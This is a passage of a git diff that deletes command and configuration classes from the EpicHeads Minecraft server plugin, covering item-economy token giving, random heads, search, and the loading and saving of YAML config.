3) { - return ReturnType.SYNTAX_ERROR; - } - - int amount = 1; - - if (args.length == 3) { - try { - amount = Integer.valueOf(args[2]); - } catch (NumberFormatException e) { - player.sendMessage(instance.getLocale().getMessage("command.error.integer", args[2])); - return ReturnType.FAILURE; - } - - if (amount < 1) { - player.sendMessage(instance.getLocale().getMessage("command.error.negative", args[2])); - return ReturnType.FAILURE; - } - } - - giveTokens(player, amount); - - player.sendMessage(instance.getLocale().getMessage("command.itemeco.get", amount)); - return ReturnType.SUCCESS; - } - - private ReturnType onGiveCommand(EpicHeads instance, CommandSender sender, String[] args) { - if (args.length != 3 && args.length != 4) { - return ReturnType.SYNTAX_ERROR; - } - - int amount = 1; - - if (args.length == 4) { - try { - amount = Integer.valueOf(args[3]); - } catch (NumberFormatException e) { - sender.sendMessage(instance.getLocale().getMessage("command.error.integer", args[3])); - return ReturnType.FAILURE; - } - - if (amount < 1) { - sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[3])); - return ReturnType.FAILURE; - } - } - - Player player = Bukkit.getPlayer(args[2]); - - if (player == null) { - sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[2])); - return ReturnType.FAILURE; - } - - giveTokens(player, amount); - - player.sendMessage(instance.getLocale().getMessage("command.itemeco.get", amount)); - sender.sendMessage(instance.getLocale().getMessage("command.itemeco.given", amount).replace("%player%",player.getDisplayName())); - return ReturnType.SUCCESS; - } - - private void giveTokens(Player player, int amount) { - while (amount > 0) { - int giveAmount = Math.min(64, amount); - amount -= giveAmount; - - ItemStack itemStack = EpicHeads.getInstance().getMainConfig().getItemEconomyItem().amount(giveAmount).build(); - - if (player.getInventory().firstEmpty() != -1) { - player.getInventory().addItem(itemStack); - } else { - org.bukkit.entity.Item item = player.getWorld().dropItemNaturally(player.getEyeLocation(), itemStack); - - item.setPickupDelay(0); - } - } - } - - - @Override - public String getPermissionNode() { - return "epicheads.item-eco"; - } - - @Override - public String getSyntax() { - return "/heads itemeco "; - } - - @Override - public String getDescription() { - return "Manage the item economy."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandRandom.java b/main/java/com/songoda/epicheads/command/commands/CommandRandom.java deleted file mode 100644 index 3bd9d71..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandRandom.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.command.AbstractCommand; -import org.bukkit.Bukkit; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -import java.util.Random; - -public class CommandRandom extends AbstractCommand { - - private static final Random RANDOM = new Random(); - - public CommandRandom(AbstractCommand parent) { - super("random", parent, false); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 1 && args.length != 2) { - return ReturnType.SYNTAX_ERROR; - } - - if (EpicHeads.getInstance().getCache().getHeadCount() == 0) { - sender.sendMessage(instance.getLocale().getMessage("command.random.noheads")); - return ReturnType.FAILURE; - } - - CacheHead random = EpicHeads.getInstance().getCache().getRandomHead(RANDOM); - - if (args.length == 1) { - if (!(sender instanceof Player)) { - return ReturnType.NO_CONSOLE; - } - - sender.sendMessage(instance.getLocale().getMessage("command.random.self", random)); - - ((Player) sender).getInventory().addItem(random.getItemStack()); - return ReturnType.SUCCESS; - } - - Player player = Bukkit.getPlayer(args[1]); - - if (player == null) { - sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[1])); - return ReturnType.FAILURE; - } - - player.sendMessage(instance.getLocale().getMessage("command.random.give", random)); - sender.sendMessage(instance.getLocale().getMessage("command.give.success", 1, random, player)); - - player.getInventory().addItem(random.getItemStack()); - return ReturnType.SUCCESS; - } - - - @Override - public String getPermissionNode() { - return "epicheads.random"; - } - - @Override - public String getSyntax() { - return "/heads random [player]"; - } - - @Override - public String getDescription() { - return "RGet or give a random head."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandReload.java b/main/java/com/songoda/epicheads/command/commands/CommandReload.java deleted file mode 100644 index a004a62..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandReload.java +++ /dev/null @@ -1,38 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import org.bukkit.command.CommandSender; - -public class CommandReload extends AbstractCommand { - - public CommandReload(AbstractCommand parent) { - super("reload", parent, false); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 1) return ReturnType.SYNTAX_ERROR; - - EpicHeads.getInstance().reloadConfigs(); - - sender.sendMessage(instance.getLocale().getMessage("command.reload.success")); - return ReturnType.SUCCESS; - } - - - @Override - public String getPermissionNode() { - return "epicheads.reload"; - } - - @Override - public String getSyntax() { - return "/heads reload"; - } - - @Override - public String getDescription() { - return "Reload the Heads config files."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandRemove.java b/main/java/com/songoda/epicheads/command/commands/CommandRemove.java deleted file mode 100644 index b2e8fd7..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandRemove.java +++ /dev/null @@ -1,39 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.oldmenu.mode.InvModeType; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -public class CommandRemove extends AbstractCommand { - - public CommandRemove(AbstractCommand parent) { - super("remove", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 1) { - return ReturnType.SYNTAX_ERROR; - } - - //ToDo: Should be some kind of success message. - InvModeType.REMOVE.open((Player) sender); - return ReturnType.SUCCESS; - } - @Override - public String getPermissionNode() { - return "epicheads.remove"; - } - - @Override - public String getSyntax() { - return "/heads remove"; - } - - @Override - public String getDescription() { - return "Remove a head in the menu."; - } -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/command/commands/CommandRename.java b/main/java/com/songoda/epicheads/command/commands/CommandRename.java deleted file mode 100644 index 65646ac..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandRename.java +++ /dev/null @@ -1,53 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.oldmenu.mode.InvModeType; -import com.songoda.epicheads.oldmenu.mode.RenameMode; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -public class CommandRename extends AbstractCommand { - - public CommandRename(AbstractCommand parent) { - super("rename", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length <= 1) { - return ReturnType.SYNTAX_ERROR; - } - - StringBuilder builder = new StringBuilder(); - - for (int i = 1; i < args.length; i++) { - if (i != 1) { - builder.append(' '); - } - - builder.append(args[i]); - } - - String name = builder.toString(); - - InvModeType.RENAME.open((Player) sender).asType(RenameMode.class).setName(name); - return ReturnType.SUCCESS; - } - - - @Override - public String getPermissionNode() { - return "epicheads.rename"; - } - - @Override - public String getSyntax() { - return "/heads rename "; - } - - @Override - public String getDescription() { - return "Rename a head in the menu."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandSearch.java b/main/java/com/songoda/epicheads/command/commands/CommandSearch.java deleted file mode 100644 index 298ca49..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandSearch.java +++ /dev/null @@ -1,60 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.oldmenu.mode.SearchMode; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -public class CommandSearch extends AbstractCommand { - - public CommandSearch(AbstractCommand parent) { - super("search", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length <= 1) { - return ReturnType.SYNTAX_ERROR; - } - - StringBuilder queryBuilder = new StringBuilder(); - - for (int i = 1; i < args.length; i++) { - queryBuilder.append(args[i]); - queryBuilder.append(' '); - } - - String query = queryBuilder.toString().trim(); - - EpicHeads.getInstance().getCache().searchHeadsAsync(query, matches -> { - if (matches.size() == 0) { - - sender.sendMessage(instance.getLocale().getMessage("command.search.nonefound", query)); - return; - } - - sender.sendMessage(instance.getLocale().getMessage("command.search.found", query, matches.size())); - - new SearchMode((Player) sender, matches); - }); - - return ReturnType.SUCCESS; - } - - - @Override - public String getPermissionNode() { - return "epicheads.search"; - } - - @Override - public String getSyntax() { - return "/heads search "; - } - - @Override - public String getDescription() { - return "Find useful heads."; - } -} diff --git a/main/java/com/songoda/epicheads/config/ConfigFile.java b/main/java/com/songoda/epicheads/config/ConfigFile.java deleted file mode 100644 index dc6333b..0000000 --- a/main/java/com/songoda/epicheads/config/ConfigFile.java +++ /dev/null @@ -1,140 +0,0 @@ -package com.songoda.epicheads.config; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Methods; -import org.bukkit.configuration.ConfigurationSection; - -import java.util.concurrent.atomic.AtomicBoolean; - -public abstract class ConfigFile { - - private final String name; - - public ConfigFile(String name) { - this.name = name; - } - - public String getName() { - return name; - } - - public abstract ConfigurationSection getConfig(); - - public abstract void save(); - - public abstract void reload(); - - public abstract ConfigurationSection getDefaults(); - - public abstract void copyDefaults(); - - public boolean getOrCopyDefault(String key, boolean defaultValue, AtomicBoolean requiresSave) { - Checks.ensureNonNull(key, "key"); - Checks.ensureNonNull(requiresSave, "requiresSave"); - - ConfigurationSection config = getConfig(); - - if (!config.isSet(key) || !config.isBoolean(key)) - return replaceInvalid(key, defaultValue, requiresSave); - - return config.getBoolean(key); - } - - public int getOrCopyDefault(String key, int defaultValue, AtomicBoolean requiresSave) { - Checks.ensureNonNull(key, "key"); - Checks.ensureNonNull(requiresSave, "requiresSave"); - - ConfigurationSection config = getConfig(); - - if (!config.isSet(key) || !config.isInt(key)) - return replaceInvalid(key, defaultValue, requiresSave); - - return config.getInt(key); - } - - public double getOrCopyDefault(String key, double defaultValue, AtomicBoolean requiresSave) { - Checks.ensureNonNull(key, "key"); - Checks.ensureNonNull(requiresSave, "requiresSave"); - - ConfigurationSection config = getConfig(); - - if (!config.isSet(key) || (!config.isDouble(key) && !config.isInt(key) && !config.isLong(key))) - return replaceInvalid(key, defaultValue, requiresSave); - - return config.getDouble(key); - } - - public String getOrCopyDefault(String key, String defaultValue, AtomicBoolean requiresSave) { - Checks.ensureNonNull(key, "key"); - Checks.ensureNonNull(requiresSave, "requiresSave"); - - ConfigurationSection config = getConfig(); - - if (!config.isSet(key) || !config.isString(key)) - return replaceInvalid(key, defaultValue, requiresSave); - - return config.getString(key); - } - - public Item getOrCopyDefault(String key, Item defaultValue, AtomicBoolean requiresSave) { - Checks.ensureNonNull(key, "key"); - Checks.ensureNonNull(defaultValue, "defaultValue"); - Checks.ensureNonNull(requiresSave, "requiresSave"); - - ConfigurationSection config = getConfig(); - - if (!config.isSet(key) || !config.isConfigurationSection(key)) - return replaceInvalid(key, defaultValue, requiresSave); - - Item item = Item.load(name, config.getConfigurationSection(key), requiresSave); - - if (item == null) - return replaceInvalid(key, defaultValue, requiresSave); - - return item; - } - - private Item replaceInvalid(String key, Item replacement, AtomicBoolean requiresSave) { - Methods.formatText("\"" + key + "\" not set or invalid in " + getName() + ", replacing with " + replacement); - - removeInvalid(key, requiresSave); - replacement.save(getConfig(), key); - - requiresSave.set(true); - - return replacement; - } - - private T replaceInvalid(String key, T replacement, AtomicBoolean requiresSave) { - Methods.formatText("\"" + key + "\" not set or invalid in " + getName() + ", replacing with " + replacement); - - removeInvalid(key, requiresSave); - getConfig().set(key, replacement); - - requiresSave.set(true); - - return replacement; - } - - private void removeInvalid(String key, AtomicBoolean requiresSave) { - ConfigurationSection config = getConfig(); - - if (!config.isSet(key)) - return; - - String toKey = key + "-invalid"; - - int counter = 2; - while (config.isSet(toKey)) { - toKey = key + "-invalid-" + (counter++); - } - - config.set(toKey, config.get(key)); - config.set(key, null); - - requiresSave.set(true); - } - -} diff --git a/main/java/com/songoda/epicheads/config/DefaultsConfigFile.java b/main/java/com/songoda/epicheads/config/DefaultsConfigFile.java deleted file mode 100644 index 3d68588..0000000 --- a/main/java/com/songoda/epicheads/config/DefaultsConfigFile.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.songoda.epicheads.config; - -import com.songoda.epicheads.EpicHeads; -import org.bukkit.configuration.ConfigurationSection; -import org.bukkit.configuration.file.YamlConfiguration; - -import java.io.InputStream; -import java.io.InputStreamReader; - -public class DefaultsConfigFile extends ConfigFile { - - private ConfigurationSection config; - - public DefaultsConfigFile(String name) { - super(name); - } - - @Override - public ConfigurationSection getConfig() { - return config; - } - - @Override - public void save() { - throw new UnsupportedOperationException("Cannot save a DefaultsConfigFile."); - } - - @Override - public void reload() { - InputStream resource = EpicHeads.getInstance().getResource(getName()); - InputStreamReader reader = new InputStreamReader(resource); - config = YamlConfiguration.loadConfiguration(reader); - } - - @Override - public void copyDefaults() { - throw new UnsupportedOperationException("Cannot save a DefaultsConfigFile."); - } - - @Override - public ConfigurationSection getDefaults() { - return config; - } - -} diff --git a/main/java/com/songoda/epicheads/config/FileConfigFile.java b/main/java/com/songoda/epicheads/config/FileConfigFile.java deleted file mode 100644 index 53e91af..0000000 --- a/main/java/com/songoda/epicheads/config/FileConfigFile.java +++ /dev/null @@ -1,84 +0,0 @@ -package com.songoda.epicheads.config; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.util.Checks; -import org.bukkit.configuration.ConfigurationSection; -import org.bukkit.configuration.file.YamlConfiguration; - -import java.io.*; - -public class FileConfigFile extends ConfigFile { - - private YamlConfiguration config; - private ConfigurationSection defaults; - private String resourceName; - - public FileConfigFile(String name) { - this(name, name); - } - - public FileConfigFile(String name, String resourceName) { - super(name); - - Checks.ensureNonNull(resourceName, "resourceName"); - - this.resourceName = resourceName; - } - - public File getFile() { - return new File(EpicHeads.getInstance().getDataFolder(), getName()); - } - - @Override - public ConfigurationSection getConfig() { - return config; - } - - @Override - public void save() { - File file = getFile(); - - try { - if (!file.exists() && !file.createNewFile()) - throw new IOException("Unable to create config file " + file); - - config.save(file); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - @Override - public void reload() { - config = YamlConfiguration.loadConfiguration(getFile()); - } - - @Override - public void copyDefaults() { - if (getFile().exists()) - return; - - try (InputStream input = EpicHeads.getInstance().getResource(resourceName); OutputStream output = new FileOutputStream(getFile())) { - - int read; - byte[] buffer = new byte[2048]; - while ((read = input.read(buffer)) > 0) { - output.write(buffer, 0, read); - } - } catch (IOException e) { - e.printStackTrace(); - } - } - - @Override - public ConfigurationSection getDefaults() { - if (defaults == null) { - InputStream resource = EpicHeads.getInstance().getResource(resourceName); - InputStreamReader reader = new InputStreamReader(resource); - defaults = YamlConfiguration.loadConfiguration(reader); - } - - return defaults; - } - -} diff --git a/main/java/com/songoda/epicheads/config/MainConfig.java b/main/java/com/songoda/epicheads/config/MainConfig.java deleted file mode 100644 index 77fabde..0000000 --- a/main/java/com/songoda/epicheads/config/MainConfig.java +++ /dev/null @@ -1,415 +0,0 @@ -package com.songoda.epicheads.config; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Clock; -import com.songoda.epicheads.util.Methods; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.Bukkit; -import org.bukkit.configuration.ConfigurationSection; - -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.atomic.AtomicBoolean; - -public class MainConfig { - - private final ConfigFile configFile; - - private boolean economyEnabled; - private double defaultHeadCost; - private boolean vaultEcoEnabled; - private boolean itemEcoEnabled; - private Item itemEcoItem; - private boolean playerPointsEcoEnabled; - - private boolean headNamesEnabled; - private boolean useBlockStore; - private boolean useCacheNames; - private String defaultHeadName; - - private boolean hideNoPermCategories; - private boolean freeInCreative; - private boolean checkForUpdates; - - private Map categoryCosts; - - private String headLabel; - private String[] headAliases; - private String headDescription; - - private String reloadLabel; - private String addLabel; - private String handLabel; - private String getLabel; - private String giveLabel; - private String randomLabel; - private String removeLabel; - private String renameLabel; - private String costLabel; - private String categoryCostLabel; - private String itemEcoLabel; - private String idLabel; - private String searchLabel; - private String helpLabel; - - public MainConfig() { - this.configFile = EpicHeads.getInstance().getVersionedConfig("config.yml"); - - reload(); - } - - public void reload() { - Clock timer = Clock.start(); - - configFile.copyDefaults(); - configFile.reload(); - - ConfigurationSection config = configFile.getConfig(); - - AtomicBoolean shouldSave = new AtomicBoolean(false); - - loadCommandprint(config, shouldSave); - loadCategoryCosts(config, shouldSave); - - if (config.isSet("hat-mode") && config.isBoolean("hat-mode") && config.getBoolean("hat-mode")) { - Methods.formatText("--------------------------------------------------"); - Methods.formatText("Until further notice, hat mode is no longer supported"); - Methods.formatText("in Heads past version 1.10.0, please downgrade or"); - Methods.formatText("switch the plugin out of hat-mode in your config.yml"); - Methods.formatText("--------------------------------------------------"); - - Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), () -> { - Methods.formatText("--------------------------------------------------"); - Methods.formatText("Until further notice, hat mode is no longer supported"); - Methods.formatText("in Heads past version 1.10.0, please downgrade or"); - Methods.formatText("switch the plugin out of hat-mode in your config.yml"); - Methods.formatText("--------------------------------------------------"); - - Bukkit.getPluginManager().disablePlugin(EpicHeads.getInstance()); - }); - } - - economyEnabled = loadBoolean(config, "economy.enabled", false, shouldSave); - defaultHeadCost = loadDouble(config, "economy.default-head-cost", 0, shouldSave); - vaultEcoEnabled = loadBoolean(config, "economy.vault-eco.enabled", true, shouldSave); - itemEcoEnabled = loadBoolean(config, "economy.item-eco.enabled", false, shouldSave); - - Item defaultItemEcoItem = Items.createSkull().name("&6Player Head Token").lore("&8Use in /EpicHeads!"); - - itemEcoItem = loadItem(config, "economy.item-eco.item", defaultItemEcoItem, shouldSave); - - playerPointsEcoEnabled = loadBoolean(config, "economy.player-points-eco.enabled", false, shouldSave); - - headNamesEnabled = loadBoolean(config, "breaking-head-names.enabled", true, shouldSave); - useBlockStore = loadBoolean(config, "breaking-head-names.attempt-hook-blockstore", true, shouldSave); - useCacheNames = loadBoolean(config, "breaking-head-names.similar-heads-in-cache", true, shouldSave); - defaultHeadName = loadString(config, "breaking-head-names.default-name", "Decoration Head", shouldSave); - - hideNoPermCategories = loadBoolean(config, "hide-no-perm-categories", true, shouldSave); - freeInCreative = loadBoolean(config, "free-in-creative", false, shouldSave); - checkForUpdates = loadBoolean(config, "check-for-updates", true, shouldSave); - - if (defaultHeadCost < 0) { - Methods.formatText("\"economy.default-head-cost\" cannot be less than 0 in config.yml, defaulting to 0"); - defaultHeadCost = 0; - } - - if (shouldSave.get()) { - configFile.save(); - } - - Methods.formatText("Loaded Main Config " + timer); - } - - private void loadCommandprint(ConfigurationSection config, AtomicBoolean shouldSave) { - reloadLabel = loadString(config, "commands.heads.sub-commands.reload", "reload", shouldSave); - addLabel = loadString(config, "commands.heads.sub-commands.add", "add", shouldSave); - handLabel = loadString(config, "commands.heads.sub-commands.hand", "hand", shouldSave); - getLabel = loadString(config, "commands.heads.sub-commands.get", "get", shouldSave); - giveLabel = loadString(config, "commands.heads.sub-commands.give", "give", shouldSave); - randomLabel = loadString(config, "commands.heads.sub-commands.random", "random", shouldSave); - removeLabel = loadString(config, "commands.heads.sub-commands.remove", "remove", shouldSave); - renameLabel = loadString(config, "commands.heads.sub-commands.rename", "rename", shouldSave); - costLabel = loadString(config, "commands.heads.sub-commands.cost", "cost", shouldSave); - categoryCostLabel = loadString(config, "commands.heads.sub-commands.category-cost", "categorycost", shouldSave); - itemEcoLabel = loadString(config, "commands.heads.sub-commands.item-eco", "itemeco", shouldSave); - idLabel = loadString(config, "commands.heads.sub-commands.id", "id", shouldSave); - searchLabel = loadString(config, "commands.heads.sub-commands.search", "search", shouldSave); - helpLabel = loadString(config, "commands.heads.sub-commands.help", "help", shouldSave); - - headLabel = loadString(config, "commands.heads.label", "EpicHeads", shouldSave); - headDescription = loadString(config, "commands.heads.description", "Get a cool head", shouldSave); - headAliases = loadStringArray(config, "commands.heads.aliases", new String[] { "head" }, shouldSave); - } - - private void loadCategoryCosts(ConfigurationSection config, AtomicBoolean shouldSave) { - categoryCosts = new HashMap<>(); - - if (!config.isSet("economy.categories") || !config.isConfigurationSection("economy.categories")) - return; - - ConfigurationSection categories = config.getConfigurationSection("economy.categories"); - - for (String key : categories.getKeys(false)) { - double cost = categories.getDouble(key, -1); - - if (cost < 0) - continue; - - categoryCosts.put(key.toLowerCase(), cost); - } - } - - private String loadString(ConfigurationSection config, String key, String defaultVal, AtomicBoolean shouldSave) { - if (config.isSet(key) && config.isString(key) && !config.getString(key).isEmpty()) - return config.getString(key); - - Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to \"" + defaultVal + "\""); - - config.set(key, defaultVal); - shouldSave.set(true); - - return defaultVal; - } - - private String[] loadStringArray(ConfigurationSection config, String key, String[] defaultVal, AtomicBoolean shouldSave) { - if (config.isSet(key) && config.isList(key)) - return config.getStringList(key).toArray(new String[0]); - - Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + Arrays.toString(defaultVal)); - - config.set(key, Arrays.asList(defaultVal)); - shouldSave.set(true); - - return defaultVal; - } - - private boolean loadBoolean(ConfigurationSection config, String key, boolean defaultVal, AtomicBoolean shouldSave) { - if (config.isSet(key) && config.isBoolean(key)) - return config.getBoolean(key); - - Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + defaultVal); - - config.set(key, defaultVal); - shouldSave.set(true); - - return defaultVal; - } - - private double loadDouble(ConfigurationSection config, String key, double defaultVal, AtomicBoolean shouldSave) { - if (config.isSet(key) && (config.isInt(key) || config.isDouble(key))) - return config.getDouble(key); - - Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + defaultVal); - - config.set(key, defaultVal); - shouldSave.set(true); - - return defaultVal; - } - - private Item loadItem(ConfigurationSection config, String key, Item defaultItem, AtomicBoolean shouldSave) { - if (config.isSet(key) && config.isConfigurationSection(key)) { - Item item = Item.load("config.yml", config.getConfigurationSection(key), shouldSave); - - if (item != null) - return item; - } - - Methods.formatText(key + " not set or invalid in config.yml, resetting to " + defaultItem); - - config.set(key, null); - defaultItem.save(config.createSection(key)); - shouldSave.set(true); - - return defaultItem; - } - - private String getPlainCategoryName(String category) { - return category.toLowerCase().replace(" ", ""); - } - - public boolean hasCategoryCost(String category) { - return categoryCosts.containsKey(getPlainCategoryName(category)); - } - - public double getCategoryCost(String category) { - return categoryCosts.getOrDefault(getPlainCategoryName(category), defaultHeadCost); - } - - public void setCategoryCost(String category, double cost) { - categoryCosts.put(getPlainCategoryName(category), cost); - - saveCategoryCosts(); - } - - public void removeCategoryCost(String category) { - categoryCosts.remove(getPlainCategoryName(category)); - - saveCategoryCosts(); - } - - private void saveCategoryCosts() { - Clock timer = Clock.start(); - - ConfigurationSection config = configFile.getConfig(); - - config.set("economy.categories", null); - - if (categoryCosts.size() > 0) { - ConfigurationSection section = config.createSection("economy.categories"); - - for (Map.Entry entry : categoryCosts.entrySet()) { - section.set(entry.getKey(), entry.getValue()); - } - } - - configFile.save(); - - Methods.formatText("Saved Main Config " + timer); - } - - public void setItemEcoItem(Item item) { - Checks.ensureNonNull(item, "item"); - - this.itemEcoItem = item; - - saveItemEcoItem(); - } - - private void saveItemEcoItem() { - Clock timer = Clock.start(); - - ConfigurationSection config = this.configFile.getConfig(); - - config.set("economy.item-eco.item", null); - itemEcoItem.save(config.createSection("economy.item-eco.item")); - - configFile.save(); - - Methods.formatText("Saved Main Config " + timer); - } - - public boolean isEconomyEnabled() { - return economyEnabled; - } - - public double getDefaultHeadCost() { - return defaultHeadCost; - } - - public boolean isVaultEconomyEnabled() { - return vaultEcoEnabled; - } - - public boolean isItemEconomyEnabled() { - return itemEcoEnabled; - } - - public Item getItemEconomyItem() { - return itemEcoItem; - } - - public boolean isPlayerPointsEconomyEnabled() { - return playerPointsEcoEnabled; - } - - public boolean isHeadNamesEnabled() { - return headNamesEnabled; - } - - public boolean shouldUseBlockStore() { - return useBlockStore; - } - - public boolean shouldUseCacheNames() { - return useCacheNames; - } - - public String getDefaultHeadName() { - return defaultHeadName; - } - - public boolean shouldHideNoPermCategories() { - return hideNoPermCategories; - } - - public boolean isFreeInCreative() { - return freeInCreative; - } - - public boolean shouldCheckForUpdates() { - return checkForUpdates; - } - - public String getHeadCommand() { - return headLabel; - } - - public String[] getHeadAliases() { - return headAliases; - } - - public String getHeadDescription() { - return headDescription; - } - - public String getReloadCommand() { - return reloadLabel; - } - - public String getAddCommand() { - return addLabel; - } - - public String getHandCommand() { - return handLabel; - } - - public String getGetCommand() { - return getLabel; - } - - public String getGiveCommand() { - return giveLabel; - } - - public String getRandomCommand() { - return randomLabel; - } - - public String getRemoveCommand() { - return removeLabel; - } - - public String getRenameCommand() { - return renameLabel; - } - - public String getCostCommand() { - return costLabel; - } - - public String getCategoryCostCommand() { - return categoryCostLabel; - } - - public String getItemEcoCommand() { - return itemEcoLabel; - } - - public String getIdCommand() { - return idLabel; - } - - public String getSearchCommand() { - return searchLabel; - } - - public String getHelpCommand() { - return helpLabel; - } -} diff --git a/main/java/com/songoda/epicheads/config/lang/Placeholder.java b/main/java/com/songoda/epicheads/config/lang/Placeholder.java deleted file mode 100644 index 844ccc4..0000000 --- a/main/java/com/songoda/epicheads/config/lang/Placeholder.java +++ /dev/null @@ -1,101 +0,0 @@ -package com.songoda.epicheads.config.lang; - -import com.songoda.epicheads.util.Checks; -import org.bukkit.ChatColor; - -import java.util.ArrayList; -import java.util.List; -import java.util.Objects; -import java.util.function.Function; - -public final class Placeholder { - - private final String replace; - private final String with; - - public Placeholder(String replace, String with) { - Checks.ensureNonNull(replace, "replace"); - Checks.ensureNonNull(with, "with"); - - this.replace = replace; - this.with = with; - } - - public Placeholder(String replace, Object with) { - this(replace, Objects.toString(with)); - } - - public String getReplace() { - return replace; - } - - public String getWith() { - return with; - } - - public String apply(String text) { - Checks.ensureNonNull(text, "text"); - - return text.replace(replace, with); - } - - public static String applyAll(String text, Placeholder... placeholders) { - Checks.ensureNonNull(text, "text"); - Checks.ensureArrayNonNull(placeholders, "placeholders"); - - for (Placeholder placeholder : placeholders) { - text = placeholder.apply(text); - } - - return text; - } - - public static String[] applyAll(String[] lines, Placeholder... placeholders) { - Checks.ensureArrayNonNull(lines, "lines"); - Checks.ensureArrayNonNull(placeholders, "placeholders"); - - String[] replaced = new String[lines.length]; - - for(int index = 0; index < lines.length; index++) { - replaced[index] = applyAll(lines[index], placeholders); - } - - return replaced; - } - - public static String[] colourAll(String... lines) { - Checks.ensureArrayNonNull(lines, "lines"); - - String[] translated = new String[lines.length]; - - for(int index = 0; index < lines.length; index++) { - Checks.ensureTrue(lines[index] != null, " lines cannot contain a null value, lines[" + index + "] is null"); - - translated[index] = ChatColor.translateAlternateColorCodes('&', lines[index]); - } - - return translated; - } - - public static String[] filter(String[] lines, Function accept) { - Checks.ensureArrayNonNull(lines, "lines"); - - if(accept == null) - return lines; - - List filtered = new ArrayList<>(); - - for(int index = 0; index < lines.length; index++) { - if(accept.apply(lines[index])) { - filtered.add(lines[index]); - } - } - - return filtered.toArray(new String[0]); - } - - public static String[] filterAndApplyAll(String[] lines, Function accept, Placeholder... placeholders) { - return Placeholder.applyAll(Placeholder.filter(lines, accept), placeholders); - } - -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/config/menu/MenuConfig.java b/main/java/com/songoda/epicheads/config/menu/MenuConfig.java deleted file mode 100644 index 6956989..0000000 --- a/main/java/com/songoda/epicheads/config/menu/MenuConfig.java +++ /dev/null @@ -1,94 +0,0 @@ -package com.songoda.epicheads.config.menu; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.config.ConfigFile; -import com.songoda.epicheads.menu.CacheHeadsMenu; -import com.songoda.epicheads.menu.CategoriesMenu; -import com.songoda.epicheads.menu.HeadsMenu; -import com.songoda.epicheads.menu.ui.element.PagedBox; -import com.songoda.epicheads.menu.ui.element.Scrollbar; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; - -import java.util.concurrent.atomic.AtomicBoolean; - -public class MenuConfig { - - private final ConfigFile config; - private final AtomicBoolean requiresSave; - - public MenuConfig(String fileName) { - this(EpicHeads.getInstance().getVersionedConfig(fileName)); - } - - public MenuConfig(ConfigFile config) { - Checks.ensureNonNull(config, "configFile"); - - this.config = config; - this.requiresSave = new AtomicBoolean(false); - } - - public void load() { - config.copyDefaults(); - config.reload(); - - requiresSave.set(false); - } - - public void saveIfChanged() { - if (!requiresSave.get()) - return; - - config.save(); - } - - public Scrollbar.Template loadScrollbar(String key) { - Item left = config.getOrCopyDefault(key + ".left", Scrollbar.defaultLeft, requiresSave); - Item right = config.getOrCopyDefault(key + ".right", Scrollbar.defaultRight, requiresSave); - Item noLeft = config.getOrCopyDefault(key + ".no-left", Scrollbar.defaultNoLeft, requiresSave); - Item noRight = config.getOrCopyDefault(key + ".no-right", Scrollbar.defaultNoRight, requiresSave); - Item filler = config.getOrCopyDefault(key + ".filler", Scrollbar.defaultFiller, requiresSave); - - return new Scrollbar.Template(left, right, noLeft, noRight, filler); - } - - public PagedBox.Template loadPagedBox(String key) { - Item unselected = config.getOrCopyDefault(key + 